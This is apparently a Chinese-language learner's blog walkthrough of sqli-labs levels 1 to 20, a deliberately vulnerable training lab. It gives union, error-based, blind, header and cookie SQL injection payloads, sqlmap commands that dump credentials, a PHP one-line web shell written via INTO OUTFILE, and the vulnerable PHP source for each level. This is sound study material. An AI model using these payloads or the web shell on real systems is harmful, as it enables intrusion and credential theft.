[练习]sqli-lab 基础部分 Less1~20
sqli-lab less1~10
近来时间较多,在学习新知识的同时把 sqli-lab 都过一遍 (flag 已立),也算是对基础知识的加固吧
Less-1
基于单引号的字符型注入
可用注入: 联合查询,报错,布尔盲注,延时盲注
使用输入=1'
报错
先查询字段数
?id=0' union order by 4 --+
查询得知字段为 3
查询当前数据库内的所有表
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
回显
继续查看表下所有字段
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查询字段内容
?id=0' union select 1,2,group_concat(username,":",password) from `users` --+
查询语句源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-2
单双引号尝试后都报错,同时也有报错信息返回,此时可以推测出来时数字型注入了
可用注入:联合,报错,布尔盲注,时间盲注
查询方法同上,只是不用再进行单引号闭合
查询语句源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-3
输入单引号报错,双引号无回显
使用单引号闭合构造查询语句,回显
可知闭合方式为 ('id')
可用注入:联合,报错,布尔盲注,时间盲注
其余同上
查询语句源码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-4
同 less-3,只是闭合方式改为 ("3")
可用注入:联合,报错,布尔盲注,时间盲注
查询语句源码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-5
单引号有报错,双引号无回显,使用单引号查询语句回显you are in...
,有报错信息,联合查询无结果回显
可用注入:报错,布尔盲注,时间盲注
使用报错注入,构造报错查询语句
?id=0' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
其余查询步骤同 less-1,不再赘述
查询语句源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';//如果查询正确则输出you are in ...
}
else
{
print_r(mysql_error());
}
}
Less-6
单引号回显 you are in
,双引号报错
可用注入:报错,布尔盲注,时间盲注
同 less-5 报错注入,不过使用双引号闭合
查询语句源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-7
单引号输入仅提示语法错误,无法使用报错注入
可用注入:布尔盲注,时间盲注,导出文件 GET 字符型注入
写入一句话木马
?id=1') ) union select 1,2 '<?php @eval($_POST["cmd"]);?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7" --+
之后使用蚁剑连接获得账户密码
ps:= = 不知道为什么死活写不了文件,网上百度的方法也没用。。。。只能看网上别人的 wp
盲注的话用 sqlmap 跑更快
查询源码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in.... Use outfile......';
}
else
{
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
//这里把错误信息输出给注释掉了↑
}
}
Less-8
测试得出单引号闭合,语法错误无回显,输入正确则只有you are in...
,可以用?id=1' and 1=1 --+
语句判断的出为布尔盲注
可用注入:布尔盲注,时间盲注
这次手动盲注一下
开始一个一个爆库名,left 括号里的数字表示的是字符串长度
?id=1' and left((select database()),1)='s' --+
只要修改 left 的第一个参数进行验证即可
时间盲注
?id=1' and if(length(database())=8,sleep(3),1) --+
修改 if 的第一个参数,根据页面刷新时间进行判断注入是否成功
爆破表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),5)='users',sleep(5),1) --+
ps:limit 有两个参数,第一个参数表示从第几行开始查,第二餐个数表示查询几条
查询源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';
}
else
{
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
}
源码屏蔽了所有错误输出,但是正确的话还是有回显的,更适合使用布尔盲注
Less-9
无论输入什么都是you are in...
直接跑时间盲注,方法同上
经测试,闭合方式为单引号
源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
}
Less-10
同 less-9 的盲注,不过闭合方式改为单引号
查询源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';
}
else
{
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
}
总结
-
常用闭合方式有单双引号,括号,以及单双引号和括号的结合 (单括号,双括号都有可能)
在测试闭合方式时,要使 id= 后面的数字一般需为正确值
-
闭合成功且返回值 ---- 联合查询
-
有返回报错信息 ---- 报错注入
-
只返回查询结果正不正确 ---- 布尔盲注
-
无论正确与否返回的信息都相同 ---- 时间盲注
查询当前所有数据库
select group_concat(schema_name) from information_schema.schemata
查询库内所有的表
select group_concat(table_name) from information_schema.tables where tables_schema= '数据库名'
查询表内所有字段
select group_concat(column_name) from information_schema.columns where table_name='表名'
查询某个字段内的内容
select group_concat(字段名) from '表名'
检测报错型注入语句
?id=1' and 1=1--+ //正确
?id=1' and 1=2--+ //失败
报错注入语句
?id=1' and extractvale(1,concat(0x7e,(查询语句))) --+
布尔盲注常用语句
left(查询语句,长度)
例子
?id=1' and left((select database()),1)='s' --+
时间盲注常用语句
if(a,b,c) //a为判断语句,若a为真执行b,否则执行c
例子
if(left((select database(),1)='s'),sleep(5),1)
sleep(int)//强制延时几秒
sqlmap 命令
step1:sqlmap -u ["URL"] //测试是否存在注入
step2:sqlmap -u ["URL"] -current-db //查询当前数据库
step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)
step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容
sqli-lab less 11~20
11~20 题为均为 POST 型注入
Less-11
使用 bp 抓包,尝试在用户名处添加单引号,会报错,且查询结果有回显
猜测字段数
uname=admin'order by 2 #&passwd=admin&submit=Submit
确定可以使用,使用联合注入,开始查表名
uname=0'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit
ps:此处 uname 为非正确值
查字段名
uname=0'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=admin&submit=Submit
查字段内容
uname=0'union select 1,group_concat(username,":",password)from users #&passwd=admin&submit=Submit
查询源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
}
Less-12
与 Less-11 相同,仅闭合方式改为id=("uname")
查询源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-13
屏蔽了查询结果的回显, 但是没有屏蔽报错信息,可以使用布尔盲注与时间盲注
闭合方式为id=('uname')
查询源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo " You Have successfully logged in " ;
//echo 'Your Login name:'. $row['username'];
//echo 'Your Password:' .$row['password'];
}
else
{
//echo "Try again looser";
print_r(mysql_error());
}
}
Less-14
除了闭合方式改为双引号外与上题一致,不再赘述。
查询源码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo " You Have successfully logged in " ;
//echo 'Your Login name:'. $row['username'];
//echo 'Your Password:' .$row['password'];
}
else
{
//echo "Try again looser";
print_r(mysql_error());
}
Less-15
使用单引号闭合,在前面题目的基础上再屏蔽了报错信息的回显,仅保留登陆成功与否页面,使用时间盲注。
手工盲注验证
uname=admin' and left((select database()),1)='s' #&passwd=&submit=Submit
下面演示使用 sqlmap 跑 post 盲注
命令
sqlmap.py -r "文件路径" -p n --dbs
注:-r表示加载一个文件,-p指定参数
先使用 bp 抓包,再把抓到的内容导出为 txt
使用 sqlmap 跑一下数据库名
python sqlmap.py -r "E:\bp_saves\less15.txt" -current-db
再跑一下表名
python sqlmap.py -r "E:\bp_saves\less15.txt" -D "security" --tables
直接跑账号密码
python sqlmap.py -r "E:\bp_saves\less15.txt" -D "security" -T "users" -C "username,password" --dump
查询源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo " You Have successfully logged in\n\n " ;
//echo 'Your Login name:'. $row['username'];
//echo 'Your Password:' .$row['password'];
}
else
{
//echo "Try again looser";
//print_r(mysql_error());
}
Less-16
同 15 题的盲注,只是拼接方式改为id=("uname")
不再赘述
查询源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo " You Have successfully logged in " ;
//echo 'Your Login name:'. $row['username'];
//echo 'Your Password:' .$row['password'];
}
else
{
//echo "Try again looser";
//print_r(mysql_error());
}
Less-17
这题当时卡了好久,怎么两次都是在以 7 结尾的题目卡住了。。。
本题在 uname 的地方加了严格的过滤,没办法进行注入,不过 passwd 没有过滤,可以进行注入 (当时怎么没想到换个注入点呢。。。)
本题屏蔽了查询结果结果回显,但是没有屏蔽错误信息输出,使用报错注入
查库名
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&submit=Submit
剩下查询步骤与 less11 相同
直接查密码
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) #&submit=Submit
需要嵌套一个查询语句且给临时表命名
最后 payload
ps: 这里的 passwd 需为数字才行,填成字符会报错,我也不知道为什么。。。
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin')name),0x7e),1) #&submit=Submit
查询源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
if (mysql_error())
{
print_r(mysql_error());
}
else
{
//echo " You password has been successfully updated " ;
}
//echo 'Your Password:' .$row['password'];
}
else
{
//echo "Bug off you Silly Dumb hacker";
}
}
Less-18
这关对于 uname 和 passwd 都进行了严格的过滤,二者均无注入点。
但是在页面显示了 ip 地址,但注入点并不是在 XFF
在登陆成功后,页面会显示 user-agent 信息,所以可以确定注入点在 user-agent
经测试,可以使用报错注入
构造语句
'and extractvalue(1,concat(0x7e,(select database()))) and'
余下查询均与报错查询正常查询步骤相同。
查询源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
//这里的insert语句是关键,使用的是单引号闭合
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
//echo "<br>";
echo 'Your User Agent is: ' .$uagent;
print_r(mysql_error());
}
else
{
print_r(mysql_error());
}
}
Less-19
与上一题差不多,不过注入点在 Referer,同样需要正确登录后才能获得 referer 信息
构造语句
'and select database() and'
查询源码
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo 'Your Referer is: ' .$uagent;
print_r(mysql_error());
}
else
{
print_r(mysql_error());
}
}
Less-20
cookie 注入,注入点在 cookie 处,做到这题的时候不知怎么 bp 用不了,直接用 hackbar 做
注入点相关信息依然要登录后才显示
单引号闭合,没有屏蔽报错信息,可以用报错注入
利用语句
uname=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 #
余下查询语句与正常报错注入相同
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
echo "I LOVE YOU COOKIES";
//echo 'Your Cookie is: ' .$cookee;
print_r(mysql_error());
}
else
{
print_r(mysql_error());
}
}
}
else
{
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
echo 'Your ID:' .$row['id'];
}
else
{
echo '<img src="../images/slap1.jpg" />';
}
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
}
else
{
echo " Your Cookie is deleted";
setcookie('uname', $row1['username'], time()-3600);
header ('Location: index.php');
}
//header ('Location: main.php');
//echo '<img src="../images/slap.jpg" /></center>';
//logging the connection parameters to a file for analysis.
}
总结
终于把基础 20 题写完了 ~(›´ω`‹)
sqli-lab 基础题型就至此结束了
sqlmap post 注入命令
sqlmap.py -r "文件路径" -p n --dbs
注:-r表示加载一个文件,-p指定参数
头部注入的一般构造方式
'and sql语句 and'